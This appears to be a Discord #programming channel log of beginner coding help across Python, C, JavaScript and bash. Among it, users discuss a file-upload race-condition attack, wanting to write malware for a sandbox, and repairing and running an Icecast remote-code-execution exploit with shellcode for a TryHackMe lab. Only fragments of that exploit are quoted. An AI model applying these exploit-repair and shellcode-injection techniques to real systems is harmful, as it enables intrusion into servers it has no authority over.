#programming

1 messages · Page 6 of 1

lilac holly
#

and also get rid of a tab from that sad_mood with too many tabs :P

floral bone
#

Hmm, now when I say "no" when I'm sad, I want it to terminate reading the code, and not send me to the error "just tell me the mood", how would I do that?

#

I thought it would be like end() or terminate() but nope

floral bone
#

Ah! It was exit()!

lilac holly
#

yea!

floral bone
#

Now time to go to bed, thank you for the help 🙂

lilac holly
#

can also just return an empty value like 0 or something similar

#

all good!! goodnight 🤍

floral bone
#

Nighty nighty ❤️

brazen eagle
#

I strongly recommend against global variables. They generally cause issues down the line, especially when something else changes them.

drifting ermine
#

Hello, not sure should ask here or not but please correct me. Is there any way or wordpress plugin to secure website from hackers.

hollow sorrel
#

There are some security plugins for wordpress

#

Have never tried them personally but they exist

#

Do they make you hackproof? Nope

#

Theres no 100% sure fire way of being hackproof

drifting ermine
#

yeah, actually I can say I have used most known plugins like wordfence, ithemesecurity, sucuri but those didn't help much. Still hackers are able to get in. Only the wp cerber plugin was able to stop most of the attacks but that also removed from wp repository due to some security flaw which is actually not flaw as per plugin author

#

ithemesecurity consumes lot of memory and server space

#

I am always doing basics which is necessary to prevent attacks like changing login urls, disabling index of directories, hotlinking of images, spam words, disabling comments form if not required, disabling editor. But still need some more bullet proof solution

lilac holly
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

drifting ermine
# hollow sorrel You mean like a WAF?

Yes I think can say, after discussing with one of the tech support guy got slight info that hosting provider have to install some kind of firewall on server which can block such traffic before visiting the website.. but that is really not in hand in developer's

drifting ermine
wraith hearth
#

Ugh... global Variables D:

paper timber
#

Is it possible to Code a race condition in Python? the webapp has a race condition where the file gets uploaded and makes some checks before it gets rejected. i have to GET the /upload/file.php endpoint in milliseconds. If i use the request lib it will wait to get response after uploading. How do i concurrently make requests?

lyric mirage
#

threading?

magic falcon
#

There are different models of concurrency, with networking it can be much more complicated than just 1 concurrent unit per core.

paper timber
paper timber
pulsar urchin
#

hi guys

#

i has some problem about pagination in reactjs. could someone help me just for few minutes :((

clear lodge
#

Describe problem and paste relevant code etc

paper timber
#

does anybody have any experience with python yfinance Library? What is tickers in those? is it like a Short form of a company (AMZN for amazon) ?

onyx merlin
graceful agate
#

Anyone good with website scraping in here?

magic falcon
#

beautiful soup

graceful agate
#

I am

#

But the pages aren't consistent. 😦

#

I'm wondering if there is a better way to use Bs4 than just use like the 3rd instance of a certain class on the webpage

magic falcon
#

oof

#

you could try parsing HTML for relevant content with perl, but that seems like also a lot of work

graceful agate
#

The best thing I've come up with is generating a list of valid locations and just searching for those 😦

magic falcon
#

hmm

#

locations as in DOM items or directories?

surreal bronze
graceful agate
graceful agate
tulip sail
graceful agate
#

Under Location, I need to grab the country (china) here

tulip sail
#

Did you say there were other formats?

graceful agate
#

Yeah, in some rare instances, location is empty

#

I think that's a great idea I'm gonna try that

tulip sail
#

Okay so that would just be a try/except

#

But yeah, if that tag is always going to be there, that's how I'd do it, personally

#

Actually, even if it's not always there, if it's there 99% of the time then I'd do it and just raise the non-conformant ones for manual review

stray axle
#

Hey,
I am learning PyTorch and have a problem with my code and my question thread on stack overflow just got deleted without any answers, so anyone here can help me

#

I am using two different python files to train and test the model.
In my training file I train the model using GPU but when I try to load the model in my test.py file and set the device to cuda it gives me an error and even after reading the documentation of PyTorch still I have the same error, I can run the model without any error if I set the device to cpu in my test.py file.

#

this is the test file

#

device = torch.device('cpu') PATH = './trainedModel/mnist_cnn_net.pt' transform = trans.Compose([trans.ToTensor(), trans.Normalize((0.5,), (0.5,))]) class Net(nn.Module): def __init__(self): super(Net, self).__init__() self.conv1 = nn.Conv2d(1, 32, 3) self.conv2 = nn.Conv2d(32, 64, 3) self.pool = nn.MaxPool2d(2, 2) self.fc1 = nn.Linear(64 * 12 * 12, 128) self.fc2 = nn.Linear(128, 10) def forward(self, x): x = F.relu(self.conv1(x)) x = self.pool(F.relu(self.conv2(x))) x = x.view(-1, 64 * 12 * 12) x = F.relu(self.fc1(x)) x = self.fc2(x) return x net = Net() net.to(device) testset = torchvision.datasets.MNIST('mnist', train=False, download=True, transform=transform) testloader = torch.utils.data.DataLoader(testset, batch_size=128, shuffle=False, num_workers=0) #grab the model from the path net.load_state_dict(torch.load(PATH)) net.to(device) #declaring the iterator for test-sets and feeding them into the previously trained model testIter = iter(testloader) images, labels = testIter.next() print(next(net.parameters()).device) outputs = net(images) _, predicted = torch.max(outputs, 1)

#

there are no errors due to indentation I just removed the comments in discord that is why the forward function is outside the class

#

and if I set the device to cuda then I get this error
RuntimeError: Input type (torch.FloatTensor) and weight type (torch.cuda.FloatTensor) should be the same

carmine hull
#

You might have more luck asking in an AI discord

stray axle
carmine hull
#

Have you tried deep learning related discords? I'm not on any, but I know they exist

sly frigate
#

Guys

#

How do I use one property of a component in a different component in Angular

#

WIthout using service.ts

brazen eagle
#

not sure that you mean by that

#

by property you mean a field?

#

you can probably pass it via the standard ways, ie create a prop on the new component and pass the value. If they need to be shared, then a service is probably best though

jagged mango
#

Hello im new

brazen eagle
#

hi new

true pumice
#

JavaScript

I have the data

{
  _id: new ObjectId("63f68146f34ccbf1e84d713d"),
  userID: '270975958511517697',
  __v: 0
}

And I'm looking to append userID: '270975958511517697', to a list named "winners"

console.log(result.userID); // 270975958511517697
winners.push(result.userID);
console.log(winners); // []

Why doesn't it append "userID" to the array?

#

I know I'm probably missing something so obvious but am tired

magic falcon
#

Is Giveaway instantiated anywhere?

#

or is it a singleton object?

true pumice
#

Giveaway is a reference to the schema

#

const Giveaway = require("../../events/mongo/schema/giveaway");

magic falcon
#

ok, so it' an interface into the backend db via ORM

true pumice
#

It just randomly picks a field from the database, I then need the userID from the result

magic falcon
#

what's the output if you change console.log(winners) to console.log(winners[0])

#

my first thought is that it's some kind of type inconsistency or conversion by console.log

true pumice
#

Returns undefined

#

I don't know what I did but it works

#

Not touching it

magic falcon
#

sounds like cache bullshit

brazen eagle
#

Set timeout is pretty fragile if memory serves, if the bot crashes, you'll lose the giveaway, unless you reinitialize it at startup

cursive orchid
#

btw you can order by rand() and then just findone()

#

to save yourself a query

true pumice
brazen eagle
#

still need to make sure you can't pull a dupe

brazen eagle
true pumice
brazen eagle
#

let me know when we're live and I'll set up a test run

floral bone
#

Why doesn't global list = work? It gives me an error because I'm using "="

import random

def start():
    global list = ("rock", "paper", "scissors")
    RealAnswer = random.choice(list)
    print(RealAnswer)
    UserAnswer = input("Rock, paper, scissors, shoot! ")
    if RealAnswer == UserAnswer:
        print("FCK I LOST!")
    if UserAnswer != ("rock", "paper", "scissors"):
        print("Rock, paper or scissors?")
    elif UserAnswer != RealAnswer:
        print("Wrong!")

start()
stoic badger
#

1a. You should avoid using global variables. Most of the time, they're not necessary.
1b. There's no reason to be using global here, just remove the keyword and it'll be fine.
2. Avoid using list as a variable name in Python, as it's already the keyword to refer to that data type. It won't break anything here, but it could cause problems later.

#

wait now that I look at those if statements they also don't make that much sense

floral bone
#

haha I realized I've been thinking the wrong way about rock paper scissors

stoic badger
#

with this set of if statements, there is no win condition. Even if the computer gets "Rock" and you submit "paper", the elif statement just prints wrong

#

and I'm pretty sure UserAnswer != ("rock", "paper", "scissors") doesn't do what you think it does

floral bone
#

If users answer is not rock, paper or scissors, ask again

#

But I should put an input there and not print

stoic badger
#

you'd want to do something like if UserAnswer not in ("rock", "paper", "scissors"):

#

the line that you have is checking if UserAnswer is the tuple, not if it's in the list

magic falcon
floral bone
#

!= means not equal to right?

warm island
magic falcon
stoic badger
#

that was a typo on my part 😅

#

wait I'm being dumb I need to stop multitasking

magic falcon
# stoic badger that was a typo on my part 😅

in a lot of OOP and imperative languages, that x = y syntax is checking the reference of the variable, not the actual variable contents. Even if the contents are identical, there's still a non-zero chance of evaluating to false

floral bone
#

So for me it makes sense, idk why it doesnt?

stoic badger
#

gonna let juun take this one, I'm late for a meeting

magic falcon
floral bone
#

Its holding the list together

#

If I remove the () after != it gives me the error that "," is not supposed to be there

magic falcon
#

this is supposed to be python, right? You should re-read the Python Data Structures Documentation

floral bone
#

I just dont get what you mean.

#

Like I said, if I remove the () like you want me to it gives me an error

magic falcon
#

That's not what I said to do

floral bone
#

What did you mean by

"What is () actually constructing?" then?

magic falcon
#

I'm saying it's problematic to use () and you are refusing to go to the references I gave you to figure out why

lilac holly
#

comparators like != or == check if both arguments are the same

#

what you're looking for is "not in" instead of !=

#

o wait an00b already said that woops

#
import random

def start():
    rockpaperscissors = ("rock", "paper", "scissors")
    
    RealAnswer = random.choice(rockpaperscissors)
    print(RealAnswer)
    
    UserAnswer = input("Rock, paper, scissors, shoot! ")
    
    if RealAnswer == UserAnswer:
        print("I drew!")
    elif UserAnswer != RealAnswer and UserAnswer in rockpaperscissors:
        print("I didn't draw!")
    elif UserAnswer not in rockpaperscissors:
        print("Invalid answer\n")
        start()
        
start()```
#

you probably want something like this yea?

#

if you want real rock paper scissors you'd have to do some use something like this:


import random

def start():
    rockPaperScissors = ("rock", "paper", "scissors")
    
    randomAnswer = random.choice(rockPaperScissors)
    print(randomAnswer)
    
    userAnswer = input("Rock, paper, scissors, shoot! ")
    
    if randomAnswer == userAnswer:
        print("Draw!")
        
    elif userAnswer == "rock":
        if randomAnswer == "scissors":
            print(userAnswer + " beats " + randomAnswer + "!")
            print("You win!")
        else: 
            print(randomAnswer + " beats " + userAnswer + "!")
            print("You lose!")
    
    elif userAnswer == "paper":
        if randomAnswer == "rock":
            print(userAnswer + " beats " + randomAnswer + "!")
            print("You win!")
        else: 
            print(randomAnswer + " beats " + userAnswer + "!")
            print("You lose!")
    
    elif userAnswer == "scissors":
        if randomAnswer == "paper":
            print(userAnswer + " beats " + randomAnswer + "!")
            print("You win!")
        else: 
            print(randomAnswer + " beats " + userAnswer + "!")
            print("You lose!")
                
    elif userAnswer not in rockPaperScissors:
        print("Invalid answer, try again!\n")
        start()
        
start()```
#

imo u should try learning all the basic concepts with a site like sololearn or something before trying to make things like this

surreal bronze
#

That code needs a lot of work

lilac holly
#

sorry im still pretty new to python

#

n i left it kinda simplistic to be more easily understood too

surreal bronze
#

Fair enough

#

One major thing I would say is have a look at f-strings instead of joining the strings together, juun posted a nice article about performance with all the methods ago

lilac holly
#

yee i was gonna use them but i didnt wanna confuse sxdtune

magic falcon
#

I cannot stress enough that everyone posting code in this rock scissors paper discussion go read the docs and python data structures from the official docs source, specifically focusing on the differences between lists and tuples

lilac holly
#

hey so, C newbie here, but i made a custom function related to adding to a pointer array (double ptr), and i'm encountering a weird bug. if i do len+1000 it goes away, but len+2 (which seems logical), and heck, even len+100 for that matter, it somehow doesn't allocate enough memory which thusly causes a later called calloc to overwrite this needed memory with 0's. is there any explanation as to why? here's my code

int doubleptrlen(char** ptr) {
    int len = 0;
    if(ptr != NULL) while(*(ptr+len) != NULL) len++;
    return len;
}

char** ptrcat(char** ptr, char* to_add) {
    //create a new ptr (plus 2, since null term and the item we want to add)
    //copy old ptr values into new ptr
    int len = doubleptrlen(ptr);
    char** new_ptr = calloc(len+2, sizeof(char*));
    for(int i = 0; i < len; i++) {
        new_ptr[i] = ptr[i];
    }
    new_ptr[len] = to_add;

    //free the old ptr and return the new ptr
    free(ptr);
    return new_ptr;
}
#

i assume something's terribly wrong here but i genuinely have no clue what

magic falcon
#

double has a specific meaning in C/C++. Do you mean a pointer to a pointer (which is called a 'handle'), or doing arithmetic on the double precision floating point primitive type?

lilac holly
#

hence double ptr haha

magic falcon
#

Right, but it's also a specific data type. It's really bad practice and style to name stuff like that.

lilac holly
#

fair enough

brazen eagle
#

Also good practice to use braces even for single line statements inside an if or while. Spacing things out makes the code more readable, and the braces help avoid confusion over developer intentions

#

There's something wonky in the logic between the two fonctions though

#

Shouldn't you be allocating the inner pointer?

#

Then returning the address of

lilac holly
lilac holly
brazen eagle
lilac holly
#

new_ptr?

#

wait

brazen eagle
#

unless I'm missing something

#

which is possible

lilac holly
#

so ptr starts off as null

#

len=0 so for loop shouldnt do anything

#

free(null) doesn't really cause much errors though i do think now it should be checked for null

brazen eagle
#

that should be fine

lilac holly
#

its something with calloc() for the new_ptr var

brazen eagle
#

yeah but there's a mismatch between your len and the pointer allocated

lilac holly
#

because i do think the next calloc causing the behavior mentioned above highly indicates its not enough allocated memory but i just dunno why

#

yeah fair

#

i tested the results and len is as expected

#

if the double ptr has 2 ptrs in it it returns 2

#

for ex

brazen eagle
#

len is the length of the inner pointer, ye?

lilac holly
#

im sorry but im a complete newbie so could you explain what inner/outer are lol

brazen eagle
#

you have a pointer to a pointer

lilac holly
#

yeah

brazen eagle
#

outer pointer points to the inner pointer

lilac holly
#

ohhhh

#

okay

brazen eagle
#

just a label so I can follow along 🙂

lilac holly
#

len is the length of the outer pointer then

#

sort of

brazen eagle
#

dunno what the technical term is

lilac holly
#

its like array.length or smth

#

designed to act that way

#

and again it works as i expect it to but then again idk

brazen eagle
#

yeah but your doubleptrlen is dereferencing the outer pointer

lilac holly
#

yeah

brazen eagle
#

and is giving the length of the inner

lilac holly
#

it basically does [doubleptr][something]

#

if that value is null it means the array is over

brazen eagle
#

yeah

lilac holly
#

is the logic there flawed?

brazen eagle
#

so you're allocating the len of the inner pointer + 2

#

to new_ptr

#

len(to_add) != 1 necessarily

#

ok I see now, you're doing a shallow copy

lilac holly
#

yeah

brazen eagle
#

but you'll probably want to add len(to_add) + 1 rather than 2

#

or perform a deep copy

lilac holly
#

question but

#

since everything is in context of sizeof(char*), shouldn't [amount_of_ptrs_in_array]+2 be enough to fit 2 more elements? (null term and new element)

#

again sorry im very new to C

#

so like

#

im missing something there and i just cant comprehend

brazen eagle
#

yeah but you're dereferencing

#

but I may be missing something as well

#

pointers are weird

#

I assume you're trying to concatenate two strings

lilac holly
#

doing *(ptr+len) only derefs temporarily though so it shouldnt be too big of a deal i think?

lilac holly
#

like if the array is [something,something,null] it'll count the 2 somethings until it reaches null

#

yeah

brazen eagle
#

the len function looks fine

lilac holly
#

alr

#

its not concatenating two strings too but rather something like arr.append(c) in python

brazen eagle
#

why not use strcat?

#

or do you not have stdlib?

lilac holly
#

strcat doesnt work for string arrays tho? (atleast to my knowledge)

#

its for like

brazen eagle
#

works on char*

lilac holly
#

yeah

brazen eagle
#

ah

lilac holly
#

sorry also

brazen eagle
#

ok

lilac holly
#

by string array i mean an array OF char*

#

i shouldve clarified

brazen eagle
#

array of strings then yeah ok

lilac holly
#

i keep forgetting this is c lmao

brazen eagle
#

then you don't care about the inner string length

lilac holly
#

yeah

#

exactly

#

just outer array

brazen eagle
#

ah ok

#

you aren't getting the length of the outer array in your len though

lilac holly
#

oh?

hollow sorrel
#

I have two files, models.py:

from sqlalchemy import Boolean, Column, ForeignKey, Integer, String
from sqlalchemy.orm import relationship

from database import Base

class Pasta(Base):
    __tablename__ = "pastas"

    id = Column(Integer, primary_key=True, index=True)
    name = Column(String, unique=True, index=True)
    description = Column(String, index=True)

and schemas.py:

from pydantic import BaseModel

class PastaBase(BaseModel):
    name: str
    description: str | None = None

class PastaCreate(PastaBase):
    pass 

class Pasta(PastaBase):
    id: int
    
    class Config:
        orm_mode = True

I tried reading information about how the class models work and how they are integrated. My initial thought is that in models.py, this is created as a Table Object to create some relation with the database tables and with the Python code. Now from here, what I don't understand is in the PastaBase(BaseModel). Am I basically creating a base model of the Table Object I have from models.py like name and description?

Here is the Github link if need more information of how it all works: https://github.com/Mknukn/pastapi

Appreciate any and all resources that can point me in the right direction

brazen eagle
#

you're getting the length of the first string

lilac holly
#

not rlly

#

atleast i think

#

it kinda iterated through it (assuming not null) and stops counting at nullbyte

#

again it works and prints out len(str_arrarr) when doing printf

#

but

brazen eagle
#

hmm

lilac holly
#

like if theres 2 str arrays in there it'll print 2

brazen eagle
#

oh wait

lilac holly
#

?

brazen eagle
#

are you trying to reuse ptr later?

lilac holly
#

no

brazen eagle
#

outside the function?

lilac holly
#

it gets replaced

#

i thnk

#

x = ptrcat(x,input)

brazen eagle
#

you should free it in the same scope it gets alloced

lilac holly
#

like in the func?

brazen eagle
#

hang on let me think here, haven't done C in a while

lilac holly
#

no worries; i appreciate you helping

#

been driving me nuts haha

#

(the bug not you)

brazen eagle
#

yeah I can imagine

lilac holly
#

this is the bug location

#

array of char* is fine but then most elements are replaced by 0 after this calloc

#

which is where i got the theory that the ptrcat somehow overwrites memory it technically isnt solidified in owning

#

by insufficient memspace allocation

brazen eagle
#

or that free is causing issues

#

and you have a use-after-free

lilac holly
#

maybe

#

it also like

#

it doesnt get overwritten when i do len+1000

#

idk if that means anything

#

like it works fine but thats a bit of a hacky approach lol

#

prob not the best

brazen eagle
#

you renamed a few things since

lilac holly
#

?

brazen eagle
#

the screenshot doesn't seem to match the code posted earlier

lilac holly
#

its a different place in the code

#

like outside the func

brazen eagle
#

I assume it's calling the func?

lilac holly
#

no no

#

so like

brazen eagle
#

or is it emulation_list being silly?

lilac holly
#

emulation_list has all the correct values up until calloc

#

and looking at my code it made me realize its likely ptrcat not doing an enough-size thing

brazen eagle
#

calloc zero-initializes

lilac holly
#

thus this calloc thinks actually used parts of memory are free to use and zeroes them

#

yeah

#

its the only other alloc that occurs after ptrcat does its thing

brazen eagle
#

doubt it's calloc itself acting up though

lilac holly
#

yeah

#

its likely my end

#

with ptrcat

#

since this calloc looks fine

brazen eagle
#

how is ptrcat used?

lilac holly
#

then after this while loop crypted_fnames is returned

#

this is what creates emulated_list

#

its within a function

brazen eagle
#

yeah ok

#

DECRYPTED_FNAME is constant?

lilac holly
#

yes

#

its at 101 iirc

#

that should be fine

#

cause the actual size of ep->d_name wont exceed 100

#

plus 1 for nullterm

brazen eagle
#

I feel that there should be a deep copy done for ep->d_name

#

wondering if there are other things being freed behind your back

lilac holly
#

thats when i kinda just recreate the char** array right?

#

i mean i could try that

brazen eagle
#

not entirely sure about what I'm saying here tbh, this is mostly gut feeling

lilac holly
#

i mean im out of options

#

so i might aswell

#

hmm

brazen eagle
#

have you stuck a debugger on the thing?

lilac holly
#

weird so

#

the deep copy did fix it i think?

#

i removed free for debugging

#

its likely erroring out because one of the elements is a const char*

brazen eagle
#

but I don't know how that framework works

brazen eagle
#

see what happens, one change at a time

lilac holly
#

wait

#

maybe its because closedir like

#

frees the ep stuff too

brazen eagle
#

that's likely

lilac holly
#

so ep->dname is freed

brazen eagle
#

that's what I was thinking

#

after seeing the code there

lilac holly
#

aha

#

:)

#

that was what did it

#

😎

brazen eagle
#

cool

lilac holly
#

lets gooooo W

brazen eagle
#

so pro tip when debugging, use very small steps

#

change only one thing at a time and retest

#

that way you can more easily isolate the fix

lilac holly
#

fair enough

brazen eagle
#

though sometimes it's a combination of things 🙂

hollow sorrel
brazen eagle
#

ah, hmm

hollow sorrel
#

im reading through the docs but alot of the concepts are going over my head

brazen eagle
#

oh I see... I think

#

not sure exactly what pydantic does but yeah ok

#

the models bit interacts with the database, looks like an active-record type pattern

#

or not quite

#

yeah ok strike my last

brazen eagle
hollow sorrel
#

AH

#

I understand it way better now!!!

brazen eagle
#

👍

hollow sorrel
#

still a bit lost but now i understand it from a different perspective

brazen eagle
#

glad I could help

hollow sorrel
#

last question why is the id: int inside the class Pasta(PastaBase) and not PastaBase(BaseModel) ?

brazen eagle
#

base model doesn't care about the id, mostly for the Create data

drifting marsh
#

what is sql?

mild imp
halcyon sphinx
# drifting marsh what is sql?
SQL

Structured Query Language, abbreviated as SQL ( (listen) S-Q-L, sometimes "sequel" for historical reasons), is a domain-specific language used in programming and designed for managing data held in a relational database management system (RDBMS), or for stream processing in a relational data stream management system (RDSMS). It is particularly u...

cosmic mason
#

Sooo, @inner hedge, give me a second to type whaha.

#

It does not work, because:

#

When you use read to get a variable, the user has to enter it while the program is running.
Example:

#!/bin/bash
# -n does not append a newline
echo -n "Hello friend, enter your message: "
read variable
# Notice how there is no prompt here? read cannot print one, you have to do this with echo
```This script will create a prompt like this:

$ ./script.sh
Hello friend, enter your message:

#

The approaches you went with are using pipes:

echo "something" | ./script.sh
#

Which you will have to handle with a loop like so:

#!/bin/bash
while read line; do
  echo "reading: ${line}"
done < /dev/stdin
#

And the other solution you came up with were parameters like:

./script.sh "param1" "param2"
```Which you need to handle like this:
```bash
#!/bin/bash
# Print the first parameter
echo $1
#Print the second parameter
echo $2
# And so on...
#

Hope this helps. HappyOwl

#

If you want to use parameters better, I recommend you look up 'getopt in bash'.

inner hedge
#

wonderful, thank you so much for your time and explanation.@cosmic mason

wispy kestrelBOT
#

Gave +1 Rep to @cosmic mason

cosmic mason
#

Always happy to help. HappyOwl

onyx merlin
inner hedge
#

yep

onyx merlin
# inner hedge yep

Please use the appropriate room help/hints channels for TryHackMe rooms

inner hedge
#

yes, but I don't want hint, I'm just trying to figure out a new way to exploit using some commands and programming logic of the script. @onyx merlin

onyx merlin
#

It's room related, and what you've just described is a hint

lilac holly
#

Hello world, I have a question so I am currently learning python and I want to create a program. I am interested in malware analysis, I want to create malware and test it in the sandbox but I’m just wondering what would be the easiest malware to start with?

pine cypress
inland hazel
#

!docs verify

narrow terraceBOT
lilac holly
#

What level is 0xD?

inland hazel
#

13

lilac holly
#

Yea I found it lol, I’m halfway there. Time to get to work. Thanks

lilac holly
#

Starting with this one about "arn" :

#

What kind of data structure does this create in C?

#

It's 32 different strings is it not? Including "xcc"

magic falcon
#

It doesn't create a data structure.

lilac holly
#

do you know what it does?

#

or is it wrong?

#

Because the compiler is giving an error

magic falcon
#

Some questions to investigate: What is a preprocessor command?

#

How does C standard specify white space should be treated?

#

Which version of C are you expected compile with? Which version of C are you actually compiling with?

lilac holly
#

And I'm assuming I would have to compile it differently since it's giving an error? Or that is just not right?

umbral pelican
#

Yea that snipet just aint valid C code.

lilac holly
#

I tried -ansi for C89 and it was the same error.

magic falcon
#

I've given you a bunch of stuff you need to learn, so you can determine what needs to be fixed and why

lilac holly
#

I'll look thanks

umbral pelican
#

Im also not sure if they meant to define the get request like that, but usually you do a \r\n not just rn

lilac holly
#

I wasn't expecting to fix someone else's code if it's wrong?

#

I'm tearing my hair off the whole day.

#

I looked in room help and a handful of people have issues with getting this exploit to compile NotLikeThis

#

So I guess I'm learning C today.

magic falcon
#

One major thing you'll learn while using exploid-db is that many exploits are deliberately broken.

umbral pelican
#

Oh that makes sense.

#

That explains quite a lot actually, lol

lilac holly
#

yeah it makes sense. Thanks.

lilac holly
lilac holly
#

@umbral pelican

#

I did it.

#

it compiled.

#

This whole thing was like a little puzzle lmao

#

The compiler errors gave all the answers too it was like "Did you mean so and so" and I'm like oh yes that's what I meant and I just spaced out words that were together and stuff.

#

Also moved a block of code into a #ifdef block

#

Can't believe I did this it's freaking awesome. I can't ping juun over this stupid stuff but next time I see him(her? them?) I'm going to tell them about it

magic falcon
#

kek

#

good job

lilac holly
#

oh hey! Thanks for telling me about how the compile failure is meant to be that way.

#

I gave up a bit but I went back to it this evening and I was able to get it.

timber fable
#

hello, I have a problem that os.getcwd() gives me where my script is actually located, not where i am calling it from ( I made the script able to be executed from different locations by putting an executable in /usr/bin that launches the script).
How can I get the location where the script is being called from, not where it is ?

timber fable
#
output_dir = os.path.dirname(args.output)
                        if output_dir:
                            # args.output is a full path
                            print("path now is: " + args.output, "and the cwd is: "+ os.getcwd() + "the os.path.abspath(__file__) is " + os.path.abspath(__file__))
                            pass
                        else:
                            # args.output is just a filename, so we use os.getcwd() as the directory
                            args.output = os.path.join(os.getcwd(), args.output)
                            print("path now is: " + args.output, "and the cwd is: "+ os.getcwd() + "the os.path.abspath(__file__) is " + os.path.abspath(__file__))
                        with open(args.output, 'w') as f:
                            for word in generate_wordlist(args.min_length, args.max_length, args.charset):
                                f.write(word + '\n')
                        print("wordlist generated in " + args.output)
#

the prints were added for debugging

surreal bronze
#

it's doing exactly what your telling it to, im a bit confused

timber fable
#

or just anyway to get the location where the tool is being used from

#

the whole point of this is if the user gives -o somefile as output file, it should put it in the same directory he is using the tool from

surreal bronze
#

....but os.getcwd() gives you that?

#

can you show me how your running it?

timber fable
#

and this is how it gets installed in the first place:
sudo ./setup.py

#!/usr/bin/env python3

import os
import shutil

KTOOL_DIR = '/usr/share/ktool'
BIN_DIR = '/usr/local/bin'


def install_ktool():
    try:
        print('[+] Installing ktool to {}...'.format(KTOOL_DIR))
        shutil.copytree('.', KTOOL_DIR)
    except Exception as e:
        print('[-] Error installing ktool:', e)
        return

    try:
        with open(os.path.join(BIN_DIR, 'ktool'), 'w') as f:
            f.write('#!/bin/sh\n')
            f.write('cd {}\n'.format(os.path.join(KTOOL_DIR, 'src')))
            f.write('python3 ./ktool.py\n')
        os.chmod(os.path.join(BIN_DIR, 'ktool'), 0o755)
    except Exception as e:
        print('[-] Error :', e)
        return

    print('[+] Ktool installed successfully!')


install_ktool()
surreal bronze
#

ah, I see your mistake

#
f.write('cd {}\n'.format(os.path.join(KTOOL_DIR, 'src')))
#

You see this? Whenever your running the tool, your making the current directory KTOOL_DIR

#

Also, please, please look into proper installation via pip - like I mentioned earlier poetry is a fantastic choice :)

timber fable
wispy kestrelBOT
#

Gave +1 Rep to @surreal bronze

brazen eagle
magic falcon
timber fable
timber fable
magic falcon
timber fable
magic falcon
lilac holly
#

@bleak hollow hi weißt du noch wer ich bin

#

@bleak hollow Kannst du meine Freundschafts anfrage annehmen ?

surreal bronze
#

@magic falcon

lilac holly
#

So I just ran the rce exploit that I compiled last night and I am getting a segmentation fault

#

I have a page open that talks about some ways of getting segmentation fault and one is if a null pointer is being dereferenced

#

In the source file I am seeing this:

u_char *pointer=NULL;
...[other code here]...
pointer =strrchr(buf,0xcc);

#

Would that strrchr() assignment be dereferencing the null pointer? Or would that be with *pointer = ...

#

Here is the example of dereferencing a null pointer that leads to segfault.

#

I'm assuming it's not dereferencing a null pointer in the code snippet of the source file since it's not *pointer=... with a * in the front of the variable?

magic falcon
lilac holly
#

np

small bear
#

Hi, does someone here know where i can find some free programming courses for C#, C++

lilac holly
small bear
lilac holly
#

istg i saw C++

#

wait

#

?

#

they have on youtube

small bear
#

Hmm

#

The basics are known

small bear
wispy kestrelBOT
#

Gave +1 Rep to @timber fable

lilac holly
#

I have to look a bit more into C

lilac holly
lilac holly
#

segmentation fault is gone!!

#

but when connecting to the server with nc on the port where the shell is meant to be set up, I get a connection refused

#

Maybe I didn't modify the right code line and nothing was planted. But it doesn't seem to do anything with the programming so maybe its nc related

onyx merlin
#

Look into the firewall on the target, but chances are the program is not actually listening for a connection

lilac holly
lilac holly
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

lilac holly
#

because I also did strcpy(buf, string) and that was also wrong in the code flow of the program lol

#

So I know a lot more now. I'm going to malloc the pointer enough to fit the string I'm copying and see if that memory error disappears.

surreal bronze
#

are we allowed to ask for code reviews here?

magic falcon
#

is it for professional or school work?

surreal bronze
#

personal project im working on

#

for my own (and others) use

magic falcon
#

you can ask, then

hollow delta
#

rep @hollow delta

surreal bronze
#

lmao?

lilac holly
#

because when I use &pointer the segfault disappears and I run it but of course the payload doesn't work meaning it's wrong.

lilac holly
# lilac holly oof It didn't work. I definitely narrowed it down to the call to strcpy `strcpy(...

Im not an expert (far from it), but I see your arguments changing, at some point you were sending the function address of the pointer, tho it should be just the pointer pointing at the start of a string.

char *strcpy(char *destination, const char *source);

So to use the function properly you should be giving it two initialized pointers pointing to strings (so non-null pointers), or simply sending two strings

lilac holly
#

I'm just trying a bunch of different things at this point but it's all the same a Segfault

lilac holly
#

How much programming should i know for networks/cloud/iot

#

i'm pretty sure there's enough, but how do i improve my skills

lilac holly
lilac holly
#

@lilac holly yeah I fixed all the compilation errors

#

The strcpy(pointer, shellcode) line is the last location where pointer is used. It's meant to copy the shellcode payload into the address of 0xcc where the byte occurs and where the pointer is pointing to, which is where the code execution breaks in the malformed http request, and that's where the shellcode is mean to be injected.

lilac holly
lilac holly
#

It's a remote system and its running icecast on port 8000 and this last task for the Ice room is supposed to let us bypass using metasploit and instead use exploit files.

#

I moved the xcc into here I'm assuming that's what I needed to do:

#

Did that work?

#

with pointer =strrchr(buf,0xcc); pointer points to the address of 0xcc where it occurs after the request hits the server and that's where strcpy.. happens

lilac holly
#

Ok so

#

the last occurrence of pointer is with the strcpy line and I'm assuming that pointer isn't meant to be anywhere else since it writes to the memory address I mean that's what pointers do right?

#

You are using strrchr to search for 0xcc in buf, and if its not found pointer becomes NULL, then using NULL pointer in strcpy can cause issues

#

and buf cointains chars from EXEC

#

After this line:

pointer =strrchr(buf,0xcc); 

check if pointer is null, add printf line or whatever and see if its null, if it is, there should be your issue

#

@lilac hollyI think I menaged to recreate the issue and yes, the pointer is null and you were deferencing null pointer in strcpy

lilac holly
#

if it's pointer = chararry[] would that be passing chararray's memory address into pointer?

#

I'm a bit confused there

#

pointer = chararry
charry is a string

#

yeah

#

Yes it would be giving address of chararry to pointer (means pointer points at start of chararry)

#

so would pointer store the starting address of charrray?

#

^^

#

ok

#

and so for pointer seeing how it's the last occurrence of pointer with strcpy, would that mean that it would be used in the program and it would just need to point to the start address of the shellcode for the shellcode to execute?

#

like having pointer just be declared and store the shellcode address would mean that the shellcode payload should be executed?

#

No idea about shellcode

#

but if you wanna do that just do pointer=shellcode;
and it would point at start of shellcode

#

but idk if thats what you are trying to do with full code

#

I'm just assuming that since pointer points to the address where the shellcode is that it being in the program would mean that it would be computed by the CPU?

#

Most likely not if I remmeber my last lecture correctly. Considering strings are big memory blocks it would be way too expensive for registers in CPU to work with pieces of string at the time, therefore registers just move address of the string block around and work with that

#

Im asking like if I don't have to pass pointer to anything and that it being there is enough to signify to the program what to do since it works with memory addresses directly?

#

also look

#

I output the value of pointer using %d and %c and its 0 for both

#

and then when I dereference it

#

Yeah, you are not allowed to send null pointer in functions like strcpy

#

Its literally trying to move zeroes and ones from one place to nowhere/void

#

Which is undefined behavior

#

